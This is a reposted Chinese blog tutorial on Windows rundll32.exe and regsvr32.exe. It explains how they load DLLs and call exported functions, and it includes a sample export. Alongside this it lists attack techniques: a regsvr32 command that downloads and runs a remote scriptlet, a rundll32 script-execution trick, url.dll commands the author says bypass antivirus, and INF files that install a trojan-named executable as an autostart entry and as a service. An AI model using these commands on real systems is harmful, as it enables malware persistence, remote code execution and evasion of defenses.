【系统工具】Rundll32:Windows系统中的神奇工具,你知道吗?
rundll32.exe和regsvr32.exe
众所周知,DLL文件是不能独自运行的,需要被进程加载到其地址空间后才能执行。
那怎么运行一个DLL呢?
答案:可以借助Windows所提供的rundll32.exe或regsvr32.exe。
rundll32.exe
通过rundll32.exe可以直接调用DLL的导出函数来执行功能。
命令行:rundll32.exe DllName,FuncName [Arguments]
但被指定的导出函数有格式要求,导出函数的格式如下,函数参数列表中的pCommand
就是通过[Arguments]
传入的。
void WINAPI FuncName(HWND hWnd, HINSTANCE hInst, LPCWSTR pCommand, DWORD nCmdShow);
执行流程
其内部通过LoadLibraryEx
来加载该DLL,然后通过GetProcAddress
来获取导出函数地址并调用,当该导出函数返回时,rundll32会通过FreeLibrary
卸载该DLL并通过ExitProcess
退出进程。
看着是不是很简单,确实很简单,但涉及到了两个失败。
- LoadLibraryEx失败:
GetLastError获得失败原因,然后MessageBox错误弹窗,最后ExitProcess退出进程。
- GetProcAddress失败:
MessageBox错误弹窗,然后FreeLibrary卸载DLL,最后ExitProcess退出进程。
注意:MessageBox是有阻塞线程的作用的,关闭弹窗才能继续往下执行。
调试实例
以rundll32.exe "C:\\testDll.dll",DllMain
为例,看一下rundll32.exe的执行流程:
- 通过
LoadLibraryEx
加载该DLL,此时会调用DllMain,且第二参数是DLL_PROCESS_ATTACH
。
- 通过
GetProcAddress
获得指定的导出函数地址。
获得DllMainW
失败后,又获得了DllMainA
的地址。
- 获得导出函数地址失败后,准备错误弹窗。
首先通过LoadStringW
获得资源ID为400的字符串("%s 出错\n丢失条目: %s");
然后格式化弹窗字符串:
然后通过LoadStringW
获得资源ID为0x402的字符串(“RunDLL”);
最后通过MessageBoxW弹窗。
弹窗后,如果不关闭对话框,线程会一直阻塞。 - 点击确定后rundll32会通过
FreeLibrary
卸载该DLL。 - 最后rundll32通过
ExitProcess
结束自身进程。
regsvr32.exe
regsvr32.exe用于注册/卸载COM组件。
COM组件:Component Object Mode,是微软提出的一种软件开发技术。组件其实是一些小的二进制可执行程序,它们可以用于给应用程序、操作系统及其他组件提供服务。COM组件由 以DLL或EXE形式发布的可执行代码
组成。
组件DLL的导出函数列表通常会包含DllRegisterServer
和DllUnregisterServer
。
- DllRegisterServer:注册组件,在注册表中登记该DLL;
- DllUnregisterServer:卸载组件,在注册表中取消该DLL的登记。
先来看一下官方给出的用法(在cmd里输入regsvr32.exe
即可)。
看着有点迷糊,挨个来解释一下:
- 默认情况下:即
regsvr32.exe xxx.dll
,此时调用DllRegisterServer来注册该DLL。 /u
:Unregister,即调用DllUnregisterServer来卸载该DLL。/s
:Silent,静默,即不显示任何消息框。/n
:No(我猜的),不调用DllRegisterServer或DllUnregisterServer,/n
必须和/i
一起用。/i:command
:有/u
时,调用DllInstall(FALSE, [cmdline])
来卸载该DLL;没有/u
时,调用DllInstall(TRUE, [cmdline])
来注册该DLL。
应用场景
可以用regsvr32.exe来运行Scriptlet脚本:regsvr32.exe /s /u /n /i:http://127.0.0.1/file.sct scrobj.dll
该命令会调用scrobj.dll的DllInstall(FALSE, "http://127.0.0.1/file.sct")
,此时会去下载file.sct并执行;
而scrobj.dll也不会被登记到注册表中,因为指定了/u
。
附上scrobj.dll的导出函数列表:
【出处】:https://blog.csdn.net/qq_42814021/article/details/123736534
=======================================================================================
【系统工具】Rundll32:Windows系统中的神奇工具
🛫 问题
描述
Rundll32是什么?如何使用它来修复Windows系统问题?
Windows操作系统是全球最流行的操作系统之一,但是在使用过程中,用户可能会遇到各种各样的问题,例如程序无法正常启动、系统崩溃等等。
这些问题可能会导致用户无法正常使用计算机,给用户带来很大的困扰。为了解决这些问题,Windows操作系统提供了一个非常有用的工具——Rundll32。
环境
版本号 | 描述 | |
---|---|---|
文章日期 | 2023-05-29 | |
操作系统 | Win11 - 21H2 - 22000.1335 | |
1️⃣ Rundll32的使用
Rundll32是Windows操作系统中的一个系统文件,它的主要作用是
加载动态链接库
(DLL)文件中的函数
。
在Windows操作系统中,许多程序都是使用DLL文件来实现某些功能的,例如打印、网络连接等等。当用户启动一个程序时,程序会调用相应的DLL文件中的函数来完成相应的任务。而Rundll32就是负责加载这些DLL文件中的函数的。
使用方法 - cmd
- 打开命令提示符
在Windows操作系统中,可以通过按下Win+R键打开运行窗口,然后输入cmd命令来打开命令提示符。
- 在命令提示符中输入以下命令打开控制面板:
rundll32.exe shell32.dll,Control_RunDLL
函数调用格式:
rundll32.exe [dll文件名],[函数名] [Arguments]
其中,[dll文件名]是需要加载的DLL文件的文件名,[函数名]是需要调用的函数的名称, [Arguments]是参数,一个字符串。
- 输入完命令后,按下回车键即可运行命令。如果命令执行成功,会弹出相应的对话框或者执行相应的操作。
- 最终效果如下图:
使用方法 - 运行窗口/任务管理器/资源管理器
上小节中,我们使用了
cmd
方式,但是当我们执行直接带窗口的对话框时,会发现执行命令后,没有任何反应。比如MessageBoxA
函数。
完整命令为:rundll32.exe user32.dll,MessageBoxA kkk,111,0,0
。
【原因】
这是因为,cmd窗口中,没有加载窗口相关的内核资源
等,MessageBoxA
运行依赖于窗口,所以没有反应。(Win11系统测试效果)
【解决方案】
我们通过带窗口的进程运行rundll32.exe即可解决。
具体操作如下面的三种方式:
- 运行窗口(系统快捷键
Win+R
)
- 任务管理器 > 运行新任务
- 资源管理器
资源管理器的路径栏中输入命令并执行回车。
2️⃣ 常见应用场景
运行js或vbs的脚本代码
rundll32 javascript:"\..\mshtml,RunHTMLApplication ";window.execScript("msgbox('a')","vbs");window.close()
在运行窗口
中执行上面命令,程序执行下面操作
- 弹出对话框。(msgbox)
- 显示窗口3。
- 关闭窗口3。(window.close())
执行命令绕过杀毒软件的作法?
执行url.dll的
OpenURL
、FileProtocolHandler
函数。
这是经过反汇编分析url.dll得出的结果,请记住这3条命令,活学活用,这是干货。上边的三条命令都可以绕开我本机的火绒。你可以多分析system32下的dll,说不定你还有惊喜。
rundll32.exe url.dll, OpenURL file://c:\windows\system32\calc.exe
rundll32.exe url.dll, OpenURLA file://c:\windows\system32\calc.exe
rundll32.exe url.dll, FileProtocolHandler calc.exe
ps: 可能失效了
修改注册表
写一个c:/reg.inf文件,增加注册表启动项,代码如下:
然后我们运行rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:/reg.inf
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall]
AddReg=My_AddReg_Name
DelReg=My_DelReg_Name
[My_AddReg_Name]
HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,KAVRun,0x00000000,c:/muma.exe
增加一个服务
写一个srv.inf,内容如下:
然后执行命令,会增加一个名字为inetsvr的服务。
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:/srv.inf
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
AddService=inetsvr,,My_AddService_Name
[My_AddService_Name]
DisplayName=Windows Internet Service
Description=提供对 Internet 信息服务管理的支持。
ServiceType=0x10
StartType=2
ErrorControl=0
ServiceBinary=%11%\muma.exe
修复Internet Explorer
Internet Explorer是Windows操作系统中自带的浏览器,如果出现问题,可能会导致用户无法正常上网。使用Rundll32可以修复Internet Explorer中的一些问题。
rundll32.exe inetcpl.cpl,ResetIEtoDefaults
其它常见命令
这个不多说了,系统中提供了各种dll,这些dll可以实现各种功能,具体参考文章《打开控制面板DOS命令和RUNDLL32使用大全 https://blog.csdn.net/ycj911/article/details/6504596》。
ps: 需要注意的是,不同系统中命令的运行结果是不一样的。
3️⃣ 原理及使用
原理
- 通过
LoadLibraryEx
加载该DLL,此时会调用DllMain,且第二参数是DLL_PROCESS_ATTACH。
- 通过
GetProcAddress
获得指定的导出函数地址。
- 1 函数地址
存在
,传参并调用函数。
- 2 函数地址
不存在
,通过LoadStringW获得资源ID为400的字符串(“%s 出错\n丢失条目: %s”);然后格式化弹窗字符串
- 点击确定后rundll32会通过
FreeLibrary
卸载该DLL。
- 最后rundll32通过
ExitProcess
结束自身进程。
编程实现
通过原理我们已经了解,编写一个dll,并导出一个函数即可通过
rundll32.exe
调用。
导出函数格式:void FuncName(HWND hWnd, HINSTANCE hInst, LPCSTR pCommand, DWORD nCmdShow);
。
示例代码如下:
代码地址为(https://gitcode.net/yemao/kernel-win/MyOpen)下的MyOpen\course\WinDriver\tools\tools\dllmain.cpp
文件中。
extern "C"
{
// CALLBACK
__declspec(dllexport) void Foo(HWND hWindow, HINSTANCE hInstance, LPSTR lpszCommandLine, int nCmdShow)
{
if (strlen(lpszCommandLine) != 0)
{
::MessageBoxA(hWindow, lpszCommandLine, "我是标题", MB_OK);
}
else
{
::MessageBoxA(hWindow, "lpszCommandLine is NULL", "我是标题", MB_OK);
}
}
}
分别执行不带参命令和带参数命令,运行结果如下:
🛬 结论
Rundll32是Windows操作系统中非常有用的一个工具,它可以用来加载DLL文件中的函数,还可以用来修复Windows系统中的一些问题。
使用Rundll32可以帮助用户解决一些常见的Windows系统问题,提高计算机的稳定性和可靠性。
我们也可以自己编写dll,通过Rundll32调用,执行相关功能。
📖 参考资料
- rundll32.exe和regsvr32.exe https://blog.csdn.net/qq_42814021/article/details/123736534
- Rundll32.exe原理及使用, 参数传递问题解决方法(可用于批处理中) https://blog.csdn.net/guyue35/article/details/49404217
- 打开控制面板DOS命令和RUNDLL32使用大全 https://blog.csdn.net/ycj911/article/details/6504596
ps: 文章中内容仅用于技术交流,请勿用于违规违法行为。
【出处】:https://blog.csdn.net/kinghzking/article/details/130924045
=======================================================================================
关注我】。(●'◡'●)
如果,您希望更容易地发现我的新博客,不妨点击一下绿色通道的【因为,我的写作热情也离不开您的肯定与支持,感谢您的阅读,我是【Jack_孟】!
本文来自博客园,作者:jack_Meng,转载请注明原文链接:https://www.cnblogs.com/mq0036/p/17947465
【免责声明】本文来自源于网络,如涉及版权或侵权问题,请及时联系我们,我们将第一时间删除或更改!